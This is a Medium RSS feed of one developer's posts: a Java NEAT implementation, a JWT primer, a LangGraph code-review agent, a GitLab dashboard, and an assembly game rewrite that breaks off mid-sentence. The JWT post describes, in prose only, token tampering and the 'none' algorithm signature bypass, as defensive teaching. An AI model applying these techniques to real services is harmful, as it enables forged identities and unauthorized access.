<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Szigecsán Dávid on Medium]]></title>
        <description><![CDATA[Stories by Szigecsán Dávid on Medium]]></description>
        <link>https://medium.com/@sigee15?source=rss-4041bef53340------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Yh8Z7RVS1L1lksHm</url>
            <title>Stories by Szigecsán Dávid on Medium</title>
            <link>https://medium.com/@sigee15?source=rss-4041bef53340------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 31 May 2026 13:51:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sigee15/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[NEAT — NeuroEvolution of Augmenting Topologies]]></title>
            <link>https://medium.com/@sigee15/neat-i-implemented-it-from-scratch-in-java-e259bf5d667b?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/e259bf5d667b</guid>
            <category><![CDATA[implementation]]></category>
            <category><![CDATA[neat]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[neural-networks]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 15:19:16 GMT</pubDate>
            <atom:updated>2026-05-14T17:13:31.944Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is NEAT?</h3><p>Before we dive into the implementation, let me give a quick overview of what NEAT actually is.</p><p>NEAT stands for <strong>NeuroEvolution of Augmenting Topologies</strong>. It is an algorithm developed by Kenneth O. Stanley and Risto Miikkulainen in 2002 that evolves artificial neural networks using a genetic algorithm — not just the weights, but also the structure of the network itself.</p><p>Most neural network training approaches assume a fixed topology. You decide upfront how many layers there are, how many neurons per layer, and then you train the weights. NEAT throws that assumption out of the window. It starts with the simplest possible network and lets evolution figure out what structure works best.</p><p>The algorithm is built on three key ideas:</p><ul><li><strong>Historical markings</strong>: Every structural change in the network is tagged with a unique innovation number. This allows two networks with different topologies to be compared and combined in a meaningful way during crossover.</li><li><strong>Speciation</strong>: Genomes are grouped into species based on how structurally similar they are. This protects new mutations from being wiped out before they have a chance to prove themselves.</li><li><strong>Complexification from minimal structure</strong>: Evolution starts with no hidden nodes and adds complexity only when it helps.</li></ul><h3>1. The building blocks</h3><p>To make it easier to understand, let’s think of the network as a blueprint — a <strong>Genome</strong>. The genome does not describe how to run a computation. Instead, it describes the structure: which nodes exist, which connections exist, and what the weights are.</p><p>There are two types of genes inside a genome:</p><ul><li><strong>Node genes </strong>— each one represents a neuron. It has a type (input, hidden, or output) and an activation function.</li><li><strong>Connection genes </strong>-<strong> </strong>each one represents a link between two neurons. It has a weight, a flag for whether it is enabled or disabled, and an innovation number.</li></ul><pre>public class Genome {<br>    private final Map&lt;Integer, Node&gt; nodes = new HashMap&lt;&gt;();<br>    private final Map&lt;Integer, Connection&gt; connections = new HashMap&lt;&gt;();<br>    ...<br>}</pre><p>The genome is not a neural network itself. It is the genetic blueprint from which a neural network is decoded. This separation is important and will come up again later.</p><h3>2. Innovation numbers — the key to crossover</h3><p>This is one of the most elegant parts of NEAT.</p><p>When two genomes reproduce, they need to be combined. But if they have different structures — one has a hidden node, the other does not — how do you line them up?</p><p>The answer is the <strong>innovation number</strong>. Every time a new connection or node is added anywhere in the population, a global counter assigns it a unique number. If the same structural change happens in two different genomes, they get the same innovation number.</p><pre>public class InnovationTracker {<br>    public static final InnovationTracker INSTANCE = new InnovationTracker();<br>    private int innovationNumber = 1;<br>    private final Map&lt;String, Integer&gt; connectionInnovations = new HashMap&lt;&gt;();<br><br>    public int getInnovationNumber(int inNode, int outNode) {<br>        String key = inNode + &quot;-&gt;&quot; + outNode;<br>        if (!connectionInnovations.containsKey(key)) {<br>            connectionInnovations.put(key, innovationNumber++);<br>        }<br>        return connectionInnovations.get(key);<br>    }<br>}</pre><p>This is like a shared history log for the entire population. Because of this, crossover becomes straightforward: genes with matching innovation numbers are combined by randomly picking from either parent. Genes that only appear in one parent are inherited from the more fit parent.</p><pre>public static Genome crossover(Genome parent1, Genome parent2, Random random) {<br>    Genome child = new Genome();<br>    Genome moreFitParent = parent1.getFitness() &gt;= parent2.getFitness() ? parent1 : parent2;<br>    Genome lessFitParent = parent1.getFitness() &gt;= parent2.getFitness() ? parent2 : parent1;<br><br>    for (Connection gene1 : moreFitParent.getConnections()) {<br>        Connection gene2 = lessFitParent.getConnection(gene1.getInnovationNumber());<br>        if (gene2 != null) {<br>            child.addConnection(random.nextBoolean() ? gene1.copy() : gene2.copy());<br>        } else {<br>            child.addConnection(gene1.copy());<br>        }<br>    }<br>    ...<br>}</pre><h3>3. Mutation</h3><p>There are several types of mutation a genome can undergo:</p><ul><li><strong>Weight mutation</strong> — the most common. A connection’s weight is either shifted slightly or replaced with a new random value.</li><li><strong>Add connection</strong> — a new link is added between two previously unconnected nodes.</li><li><strong>Add node</strong> — an existing connection is split in two by inserting a new hidden node in the middle. The old connection is disabled, and two new ones take its place.</li><li><strong>Toggle enable</strong> — a connection is randomly enabled or disabled.</li><li><strong>Change activation function</strong> — a node gets a new activation function.</li></ul><p>The add-node mutation is particularly interesting. It does not just throw a random node into the network. It splits an existing connection cleanly:</p><pre>private void mutateAddNode(Config config, Random random) {<br>    Connection oldConnection = ...; // pick a random enabled connection<br>    oldConnection.disable();<br><br>    int newNodeId = InnovationTracker.INSTANCE.getNewInnovationNumber();<br>    Node newNode = new Node();<br>    newNode.setType(NodeType.HIDDEN);<br>    newNode.setActivationFunction(ActivationFunction.TANH);<br>    // The incoming connection gets weight 1.0<br>    // The outgoing connection inherits the old weight<br>    ...<br>}</pre><p>Setting the new incoming weight to 1.0 and preserving the old weight is intentional. This way the mutation has minimal immediate impact on the network’s behavior, giving it a chance to survive long enough to be refined by further evolution.</p><h3>4. Speciation — protecting innovation</h3><p>Imagine you just added a new hidden node to a genome. For the first few generations it might perform worse than the simpler genomes because the new node has random weights. Without protection, natural selection would just kill it off immediately.</p><p>NEAT solves this with <strong>speciation</strong>. Genomes are grouped into species based on a compatibility distance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*DVKWSzmbkYx9ii19vdeSmQ.png" /></figure><p>Where E is the number of excess genes, D is the number of disjoint genes, and W̄ is the average weight difference of matching genes. Genomes compete primarily within their own species, not against the entire population.</p><pre>public double getCompatibilityDistance(Genome other, Config config) {<br>    int excessGenes = 0;<br>    int disjointGenes = 0;<br>    double weightDiff = 0;<br>    int matchingGenes = 0;<br>    // Walk both genomes in order of innovation number, counting differences...<br>    int N = Math.max(this.connections.size(), other.connections.size());<br>    if (N &lt; 20) { N = 1; }<br>    return (config.getC1Excess() * excessGenes / N)<br>         + (config.getC2Disjoint() * disjointGenes / N)<br>         + (config.getC3Weights() * (matchingGenes &gt; 0 ? weightDiff / matchingGenes : 0));<br>}</pre><p>Each species also tracks its <strong>stagnation</strong> — how many generations it has gone without improving. If a species stagnates for too long, it gets removed to free up resources for more promising lineages.</p><h3>5. From genome to network</h3><p>Once evolution produces a good genome, it needs to actually run. This is where the genome is <strong>decoded</strong> into a NeuralNetwork.</p><p>The network builds a graph of Neuron objects connected by Synapse objects. For feed-forward networks, a topological sort (Kahn&#39;s algorithm) is used to determine the correct evaluation order.</p><pre>public static NeuralNetwork create(Genome genome, Config config) {<br>    // Build neurons from node genes<br>    // Build synapses from enabled connection genes<br>    // Topologically sort for feed-forward evaluation<br>    ...<br>}</pre><p>The topological sort also acts as a cycle detector. If the sort cannot process all neurons, it means a cycle exists — which would be invalid in a strictly feed-forward network.</p><p>Recurrent networks are also supported. In that mode, each activation step uses the output values from the previous step, which allows the network to maintain a form of memory.</p><h3>6. Putting it all together — the XOR demo</h3><p>The classic way to verify a NEAT implementation is the XOR problem. XOR cannot be solved by a linear model — it requires at least one hidden node. This makes it a perfect test case for an algorithm that starts with no hidden nodes and grows them through mutation.</p><pre>Config config = Config.builder()<br>        .populationSize(150)<br>        .inputNodeNumber(2)<br>        .outputNodeNumber(1)<br>        .startWithFullyConnectedTopology(false)<br>        .startActivationFunction(ActivationFunction.SIGMOID)<br>        .build();<br><br>Population population = new Population(config, new Random());<br><br>Genome best = population.evolvePopulation(3.9, genome -&gt; {<br>    double[][] inputs = {{0, 0}, {0, 1}, {1, 0}, {1, 1}};<br>    double[][] outputs = {{0}, {1}, {1}, {0}};<br>    NeuralNetwork network = NeuralNetwork.create(genome, config);<br>    double error = 0.0;<br>    for (int i = 0; i &lt; inputs.length; i++) {<br>        double[] out = network.activate(inputs[i]);<br>        error += Math.pow(outputs[i][0] - out[0], 2);<br>    }<br>    return 4.0 - error; // Max fitness is 4.0<br>});</pre><p>The fitness function measures how far the network’s outputs are from the expected values. A perfect XOR solver scores exactly 4.0 (zero error across all four cases). The evolution runs until a genome reaches that threshold.</p><p>After training, the best network’s topology is exported to an SVG file using the built-in visualizer, which supports both layered and force-directed layouts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*-rDxJl-C-LcCiPhRmUMGtg.png" /><figcaption>The generated Visualization for XOR solution</figcaption></figure><h3>7. What is next?</h3><p>The current implementation covers the core of what the original paper describes. The roadmap includes:</p><ul><li>Classic benchmarks: single-pole and double-pole balancing</li><li>Parallel evaluation using Java’s virtual threads</li><li>Checkpointing and persistence of runs</li><li>More visualization hooks (fitness curves, species size over time)</li><li>A snake game environment where two evolved networks compete against each other — inputs like the direction of food and the position of the opponent snake, outputs for all four movement directions. No walls, just two AIs trying to outlast each other. A fun way to watch co-evolution in action across generations</li></ul><p>The full source code is available on GitHub at <a href="https://github.com/sigee/Neat">github.com/sigee/Neat</a>. It is a Java 17 project built with Gradle. Contributions and feedback are welcome, especially around verifying behavior against the original paper’s experiments.</p><h3>Refferences</h3><p>“Evolving Neural Networks through<br>Augmenting Topologies” by Kenneth O. Stanley and Risto Miikkulainen<br><a href="https://nn.cs.utexas.edu/downloads/papers/stanley.ec02.pdf">https://nn.cs.utexas.edu/downloads/papers/stanley.ec02.pdf</a></p><p>“NEAT-Python”<br><a href="https://neat-python.readthedocs.io/en/latest/">https://neat-python.readthedocs.io/en/latest/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e259bf5d667b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding JWT: The Basics of JSON Web Tokens]]></title>
            <link>https://medium.com/@sigee15/understanding-jwt-the-basics-of-json-web-tokens-44189fcd51ec?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/44189fcd51ec</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[base64]]></category>
            <category><![CDATA[json-web-token]]></category>
            <category><![CDATA[encoding]]></category>
            <category><![CDATA[jwt]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Tue, 10 Mar 2026 17:42:44 GMT</pubDate>
            <atom:updated>2026-03-10T17:42:44.112Z</atom:updated>
            <content:encoded><![CDATA[<p>Disclaimer: There is no such thing as JWT token. In JWT “T” stands for Token. So JWT token would be JSON Web Token Token.</p><h3>Encoding vs. Encryption</h3><p>Before diving into JWTs, it is crucial to understand the difference between encoding and encryption, as they are often confused.</p><p><strong>Encoding</strong>: This is simply transforming data into a different format so it can be easily consumed by different systems. If you know the formula, you can easily decode it. Similar than a foreign language. It is not for security.</p><p><strong>Encryption</strong>: This is specifically designed for secrecy. It requires a key to lock and unlock the information; without that key, you cannot retrieve the original message.</p><p>JWT primarily uses encoding (called Base64) for its content, which means anything you put inside it is visible to everyone.</p><h3>How Base64 encoding works?</h3><p>Ever wonder where the name Base64 actually comes from? It’s all about the math of bits. While standard characters (like those in an ASCII table) are typically stored in 8-bit formats, Base64 is a 6-bit form. Since 2^6<br> equals 64, the system uses a set of 64 specific characters to represent any data you feed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cx40soRs55TSNrVx.gif" /><figcaption>ASCII table (8-bit format) (Source: <a href="https://web.alfredstate.edu/faculty/weimandn/miscellaneous/ascii/ascii_index.html">https://web.alfredstate.edu/faculty/weimandn/miscellaneous/ascii/ascii_index.html</a>)</figcaption></figure><p>The process works like this:</p><p>1. <strong>Bit Stringing:</strong> The system takes the 8-bit codes of your original data and writes them out in one long sequence (binary).</p><p>2. <strong>Re-slicing:</strong> That sequence is then broken back down into <strong>6-bit chunks</strong>.</p><p>3. <strong>Mapping:</strong> Each 6-bit chunk (which represents a value from 0 to 63) is matched to a character in the Base64 standard table — consisting of uppercase and lowercase English letters, numbers, and a couple of special characters.</p><p>Spotting the “Padding”</p><p>If you’ve ever seen a string ending in one or two equal signs (=), you’re likely looking at Base64. This is called <strong>padding</strong>. It occurs when the original data doesn&#39;t fit perfectly into the 6-bit blocks; the system uses the = sign to fill in the remaining space and complete the block.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*KcOtEKQA3DohOs2BXzBtjA.png" /><figcaption>(Source: <a href="https://en.wikipedia.org/w/index.php?title=Base64&amp;diff=prev&amp;oldid=1217265408">https://en.wikipedia.org/w/index.php?title=Base64&amp;diff=prev&amp;oldid=1217265408</a>)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*Bk2wyFJZG1OfG81lqokXbQ.png" /></figure><h3>What is a JWT?</h3><p>It is a standard way to securely transmit information between parties as a JSON object. They are popular because they are:</p><ul><li><strong>Compact</strong>: They can be sent via URLs, HTTP headers, or POST bodies.</li><li><strong>Self-contained</strong>: They carry all the necessary information about a user, so the server doesn’t need to query a database every time.</li><li><strong>Stateless</strong>: They don’t rely on server-side sessions, making them great for scaling.</li></ul><p>A JWT consists of three parts separated by dots (.) character:</p><ul><li><strong>Header:</strong> Defines the token type and the signing algorithm (e.g., HS256).</li><li><strong>Body (Payload):</strong> Contains the “claims” or data, such as the user ID, permissions, and expiration time.</li><li><strong>Signature:</strong> Used to verify that the sender is who they say they are and that the message wasn’t tampered with.</li></ul><h3>Breaking a JWT</h3><p>To understand how to use JWTs correctly, let’s look at how they can be broken.</p><h4><strong>The “Plain Text” Mistake</strong></h4><p>In our first scenario, a developer put a <strong>password in plain text</strong> inside the JWT body. Because the body is just Base64 encoded, anyone can go to a site like jwt.io, paste the token, and read the password instantly. <strong>Lesson:</strong> Never put sensitive data in a JWT body.</p><p>If you need to store sensitive data in your token, you should look into JWE (JSON Web Encryption)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bbv4h91Z7DULPVK8Pk7tXw.png" /></figure><h4>The Identity Swap</h4><p>If a server doesn’t validate the signature, a user can decode their token, change their username from “user” to “admin”, and re-encode it. Without signature verification, the server will simply trust the new identity.</p><h4>The “None” Algorithm Attack</h4><p>This is a classic exploit where a hacker changes the algorithm in the header to “none”. They then delete the signature part of the token. If the backend library is poorly configured, it might see the “none” algorithm and accept the modified token without checking any signature at all.</p><h3>Conclusion</h3><ul><li><strong>Always verify signatures</strong> on the backend.<br>• <strong>Use short expiration times</strong> to limit the impact of leaked tokens.<br>• <strong>Never trust the header</strong> blindly; enforce specific algorithms in your code.</li></ul><h3>References</h3><ul><li><a href="https://en.wikipedia.org/w/index.php?title=Base64&amp;diff=prev&amp;oldid=1217265408">https://en.wikipedia.org/w/index.php?title=Base64</a></li><li><a href="https://www.jwt.io/">https://www.jwt.io/</a></li><li><a href="https://tryhackme.com/room/jwtsecurity">https://tryhackme.com/room/jwtsecurity</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44189fcd51ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Code Review Agent with LangGraph]]></title>
            <link>https://medium.com/@sigee15/building-a-code-review-agent-with-langgraph-c4964161269a?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4964161269a</guid>
            <category><![CDATA[langgraph]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[ai-agent]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Fri, 06 Feb 2026 16:11:50 GMT</pubDate>
            <atom:updated>2026-02-06T16:11:50.712Z</atom:updated>
            <content:encoded><![CDATA[<p>Code reviews are one of those things everyone agrees are important… right up until deadlines start breathing down your neck. I wanted something that could consistently do the boring but essential parts of a review, stay aligned with the actual user story, and leave a clear audit trail. So I built a code review agent using LangGraph.</p><p>In this article, I’ll walk through the idea, the architecture, and the core features of the agent. This isn’t a “replace humans” story — it’s about augmenting the review process with an LLM-driven workflow that’s structured, repeatable, and surprisingly practical.</p><h3>The Problem</h3><p>Typical code reviews often suffer from a few recurring issues:</p><ul><li>Reviewers lack full context about why a change exists</li><li>User stories live in an issue tracker, code lives in Git, and context gets lost in between</li><li>Reviews are inconsistent depending on time, mood, or workload</li><li>There’s rarely a durable, structured artifact of the review itself</li></ul><p>I wanted a system that:</p><ul><li>Always starts from the merge request (MR)</li><li>Automatically pulls the related user story</li><li>Reviews code in context, not in isolation</li><li>Stores the result in a clean, readable format</li></ul><p>That’s where LangGraph turned out to be a great fit.</p><h3>Why LangGraph?</h3><p>LangGraph shines when you want to model an LLM-powered system as a graph of well-defined steps instead of a single prompt spaghetti monster.</p><p>For this use case, I needed:</p><ul><li>Deterministic flow</li><li>Conditional transitions (“did we find a related user story?”)</li><li>Clear separation of responsibilities</li><li>The ability to evolve the workflow over time</li></ul><p>A graph-based agent felt like the natural choice.</p><h3>High-Level Flow</h3><p>At a high level, the agent follows this flow:</p><ol><li>Collect detailed information about the merge request</li><li>Identify and fetch the related user story</li><li>Perform the code review using the LLM</li><li>Store the review as a Markdown file</li></ol><p>Here’s the visual flow of the agent:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*zNf_Um8YaTs2fUuL-Ie2Xw.png" /></figure><p>Each node in the graph has a single responsibility, which makes the whole system easier to reason about and debug.</p><h3>Step 1: Collecting Merge Request Information</h3><p>Everything starts with the merge request.</p><p>The agent gathers:</p><ul><li>Title and description</li><li>Changed files and diffs</li><li>Commit messages</li><li>Source and target branches</li></ul><p>This step is pure data collection and normalization, ensuring later steps get clean, structured input instead of raw API noise.</p><p>An important side effect here is that the agent can also extract potential references to a user story. (for example from the branch name or MR description).</p><h3>Step 2: Fetching the Related User Story</h3><p>If a ticket ID is found, the graph transitions to the next node: fetching the user story.</p><p>From the issue tracker, the agent pulls:</p><ul><li>Summary and description</li><li>Acceptance criteria</li><li>Relevant comments or clarifications</li></ul><p>This context is crucial. Reviewing code without knowing the intended behavior is how you end up with perfectly clean code that solves the wrong problem.</p><p>If no ticket is found, the graph can still proceed — but with reduced context. That decision is explicit and visible in the workflow.</p><h3>Step 3: LLM-Powered Code Review</h3><p>This is where the LLM finally steps in.</p><p>The prompt is built from:</p><ul><li>Merge request details</li><li>Code diffs</li><li>User story context (if available)</li></ul><p>Instead of asking vague questions like “Is this code good?”, the agent guides the model to focus on:</p><ul><li>Alignment with the user story</li><li>Potential bugs or edge cases</li><li>Readability and maintainability</li><li>Obvious performance or security concerns</li></ul><p>Because the earlier steps are deterministic, the LLM gets a consistent, high-quality context, which massively improves the quality of the output.</p><h3>Step 4: Storing the Review as Markdown</h3><p>The final output of the agent is a Markdown file.</p><p>Why Markdown?</p><ul><li>Human-readable</li><li>Works everywhere (Git, wikis, artifacts)</li></ul><p>A typical review file contains:</p><ul><li>Merge request metadata</li><li>Linked issue ticket</li><li>Summary of findings</li><li>Inline comments or sections per file</li><li>Actionable suggestions</li></ul><p>This turns the review into a durable artifact instead of something that disappears into a comment thread.</p><h3>What This Enables</h3><p>With this agent in place, a few interesting things become possible:</p><ul><li>Automated pre-reviews before a human even looks at the MR</li><li>Consistent review standards across teams</li><li>Easy auditing of review decisions</li><li>Future extensions (security-only reviews, performance-focused passes, etc.)</li></ul><p>And because it’s built as a graph, adding new nodes is straightforward — for example, a test coverage check or a static analysis step.</p><h3>Final Thoughts</h3><p>This project reinforced something I keep rediscovering: LLMs are most powerful when they’re constrained.</p><p>LangGraph provided the structure, the APIs provided the facts, and the LLM did what it does best — reasoning over context and expressing insights.</p><p>If you’re thinking about building an agent that’s more than just a clever prompt, I highly recommend looking at graph-based approaches. They force you to be explicit, and your future self will thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4964161269a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building MR-Monitor: From GitLab Pain to Dashboard Gain]]></title>
            <link>https://medium.com/@sigee15/building-mr-monitor-from-gitlab-pain-to-dashboard-gain-c9cea864159a?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9cea864159a</guid>
            <category><![CDATA[dashboard]]></category>
            <category><![CDATA[gitlab]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[merge-request]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Mon, 08 Dec 2025 15:14:46 GMT</pubDate>
            <atom:updated>2025-12-08T15:14:46.312Z</atom:updated>
            <content:encoded><![CDATA[<h3>About the problem</h3><p>If you’ve worked on any moderately sized development team, you know the frustration. Merge requests pile up in GitLab. Some sit there for weeks, gathering dust. Others are blocked by conflicts nobody noticed. Pipelines fail silently. The review queue becomes a black hole where good intentions go to die.</p><p>The standard GitLab interface shows you individual merge requests just fine. But it doesn’t show you the <em>forest</em>. You can’t see patterns. You can’t spot bottlenecks. You can’t quickly answer questions like “How many MRs have been stale for over 100 days?” or “Which ones are blocked by conflicts right now?”</p><p>So I built MR-Monitor to solve exactly this problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCnYLgDmRg0IMYQow2FFxA.png" /></figure><h3>What it does</h3><p>MR-Monitor is a real-time dashboard that transforms your GitLab merge request data into something actually useful. It gives you three main views:</p><p><strong>Status Distribution (Pie Chart)</strong><br> An interactive breakdown showing where your merge requests stand: mergeable and ready, blocked by conflicts, aging past 30 days, aging past 100 days, or stuck with failing pipelines. One glance tells you where the bottlenecks are.</p><p><strong>Activity Timeline (Line Chart)</strong><br> This tracks when MRs were last updated. Are reviews clustering on certain days? Is there a pattern to when things get stale? The timeline surfaces these trends so you can actually do something about them.</p><p><strong>Intelligent Filtering</strong><br> Tab-based navigation lets you drill down. Want to see everything that’s been stale for 100+ days? Click. Want to focus on conflict-blocked MRs? Click. The filtering makes it trivial to prioritize what needs attention right now.</p><h3>The technical implementation</h3><p>I wanted to build something that was both powerful and practical, so I chose my stack carefully:</p><h3>GraphQL for Data Fetching</h3><p>Rather than wrestling with REST endpoints and getting back mountains of data I didn’t need, I used GitLab’s GraphQL API. This let me write precise queries that fetch exactly the merge request data I need — nothing more, nothing less. The result is faster, more efficient, and cleaner to work with.</p><h3>Vue.js Framework</h3><p>Vue’s reactive data binding made it natural to build a responsive, dynamic interface. When the data updates, the entire dashboard re-renders seamlessly. No manual DOM manipulation, no jQuery spaghetti. Just clean, declarative components that do what they’re supposed to do.</p><h3>Bootstrap for UI</h3><p>I used Bootstrap because it’s battle-tested and gets me 90% of the way there without fighting CSS for hours. The result is an interface that looks professional and works consistently across different screen sizes.</p><h3>Chart.js for Visualizations</h3><p>Chart.js hit the sweet spot between power and simplicity. The library made it straightforward to create interactive pie and line charts that aren’t just pretty — they’re functional. Hover states, legends, clear data representation. It does what I need without the complexity of D3.</p><h3>Why I built this</h3><p>The honest answer? I was frustrated. I kept losing track of merge requests. Important reviews would sit for weeks because nobody realized they needed attention. Conflicts would block progress until someone manually noticed. The information was all there in GitLab, but it wasn’t <em>accessible</em> in a way that helped me actually manage the queue.</p><p>So I built the tool I wanted to use.</p><p>The process of building MR-Monitor taught me more than I expected. Integrating with GitLab’s GraphQL API meant understanding their data model deeply. Making the visualizations useful required thinking about what information developers actually need to make decisions. And keeping the application performant meant being smart about data fetching and rendering.</p><h3>What makes it work</h3><p>The key insight behind MR-Monitor is that developers don’t need more data — they need the <em>right</em> data, presented in a way that drives action.</p><p>Instead of showing you a long list of merge requests, it shows you the distribution of problems. Instead of making you hunt for aged MRs, it surfaces them immediately. Instead of requiring you to memorize which requests have conflicts, it puts them in a dedicated tab.</p><p>It’s not about adding features. It’s about solving the actual problem.</p><h3>The impact</h3><p>Teams using MR-Monitor can:</p><ul><li>Spot aged merge requests before they become technical debt</li><li>Identify conflict-blocked MRs that need rebasing</li><li>Recognize patterns in their review workflow</li><li>Prioritize which MRs need immediate attention</li></ul><p>The activity timeline has been particularly valuable. It reveals when teams are most active in updating merge requests, helping managers identify capacity issues before they become critical problems.</p><h3>Looking ahead</h3><p>I’m continuing to iterate on MR-Monitor. There are features I want to add — better filtering options, team-specific views, integration with Slack for notifications. But the core principle remains the same: take complex data and make it actionable.</p><p>This project represents how I approach development in general. I don’t just write code — I solve problems. I identify what’s broken, figure out what information would actually help, and build something that works. MR-Monitor isn’t the fanciest dashboard you’ll ever see, but it gets the job done. And sometimes, that’s exactly what you need.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9cea864159a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rewrite my old game in Assembly (NASM)]]></title>
            <link>https://medium.com/@sigee15/rewrite-my-old-game-in-assembly-nasm-90f6b292812e?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/90f6b292812e</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[assembly-language]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Thu, 29 May 2025 18:39:32 GMT</pubDate>
            <atom:updated>2025-05-29T18:39:32.464Z</atom:updated>
            <content:encoded><![CDATA[<h3>About my old game</h3><p>I created a game called Lufi vadász (Balloon Hunter) while studying programming in school around 2005. The game was made in Turbo Pascal, using graphics. Yes, it means EgaVga.BGI.</p><p>The game used a 640x480 resolution with 16 colors, which was not that bad at that time. The graphic elements I used were very basic. I just used ellipses as balloons and separated part of the screen for the actual information about the game.</p><ul><li>Csúcstartók (Toppers)</li><li>Pontok (score)</li><li>Info about how many balloons can fall down (because, for some reason, I decided to make the balloons fall, not fly away)</li><li>How much ammo is left</li><li>Which color means how many points</li><li>And of course, the author&#39;s name and the version number</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*O9zxQsiDBsJo6AoBsEPBuQ.png" /><figcaption>Screenshot from the original game</figcaption></figure><p>I want to mention that fact, I used the mouse as the input device, which was not trivial in Turbo Pascal.</p><h3>Why do I want to review it?</h3><p>Well, I have multiple reasons why I want to review it. The main reason is that I want to learn assembly language a bit deeper to be more effective in Reverse Engineering and/or PWN challenges in CTFs.</p><p>The other reason is that when I wrote the original game in Turbo Pascal, it was so slow, I couldn’t add any delay in the code, because it was running a normal speed. So basically, I could not make the game harder by speeding up the balloons.</p><p>I am not totally sure why it was so slow. Maybe the drawing was not optimized enough, too many elements to draw in every game loop iteration. Or the Turbo Pascal graphics with EgaVgi.BGI is slow by default.</p><p>So I wanted to optimize the game and potentially add difficulty options for a while, but I didn’t feel any real pressure.</p><h3>How did I start?</h3><p>I knew a bit of assembly because I learned it around 2005, but never really wrote a real program in it. I also did a lot of Reverse Engineering and PWN challenges in CTFs, but always the easy ones.</p><p>So my first step was to gain useful knowledge of how I can write a whole application in assembly, not just parts of it (understanding small functions or calling system commands), like in RE or PWN.</p><p>I looked for different up-to-date tutorials/video courses covering the missing pieces. I get a bit familiar with different assemblers, like TASM, NASM. They have their own syntax. I finally decided to use NASM, because it was the best for me.</p><p>While learning it, I met different topics from simple programming in DOS (16-bit assembly) or in Linux (32/64 bit), Operating System development (from 16-bit by switching to 32/64 bit)</p><p>The most interesting thing was that I realized I knew so little about the low-level stuff of programming, even though I have been working as a software engineer for almost 2 decades.</p><h3>What kept me interested?</h3><p>As I knew earlier, assembly is the closest language to a computer. You can write really small and good-performing applications. You can easily write OS boot loaders with it.</p><p>I found some kind of challenges where people create really small programs that fit in a boot sector, but do complex tasks (whole games, like pong, pacman, space invaders, in a graphics mode)</p><p>So I tried to get as much knowledge in this area as it was possible and started to make the basics of my game rewrite.</p><h3>What are my plans?</h3><p>I haven’t done my rewrite yet, but I want to do more iterations.</p><p>First, I want a simple rewrite that looks like the original, works like the original.</p><p>Second, I fell in love with the concept of boot loader games, so I decided to create one from my game.</p><h3>What is a boot loader game?</h3><p>As I mentioned previously, you can write OS boot loaders in assembly. It means the whole code has to fit into the boot sector.</p><p>What is a boot sector? Well, it is the first sector of the disk. The sectors are 512 bytes. To make it bootable, you have to mark it with a magic number at the end, which is 0xAA55.</p><p>So you have only 510 bytes to write your entire application. To make it a bit more visible how small it is, here is an image of a floppy disk from the middle of the 80s. The floppy disk was 1.44 Megabytes. This disk was double-sided. Each side had 80 tracks, and the tracks were separated into 18 sectors. You can see how small these sectors are, especially these days when we count GBs, not MB, kB, or even bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DhmwjdfYytnk-NsF" /></figure><h3>How am I now?</h3><p>I started my first iteration by collecting everything I needed.</p><ul><li>Switch to graphics mode (It means something like VESA [Video Electronics Standards Association])</li><li>Draw on the screen (write video memory)</li><li>Mouse handling</li></ul><p>While I was collecting the needed information for switching graphics mode, I had multiple issues. I can’t really decide what mode I should use. The most common example I saw was used 320x200 resolution with 256 colors. It is easy because in a 16-bit (DOS) 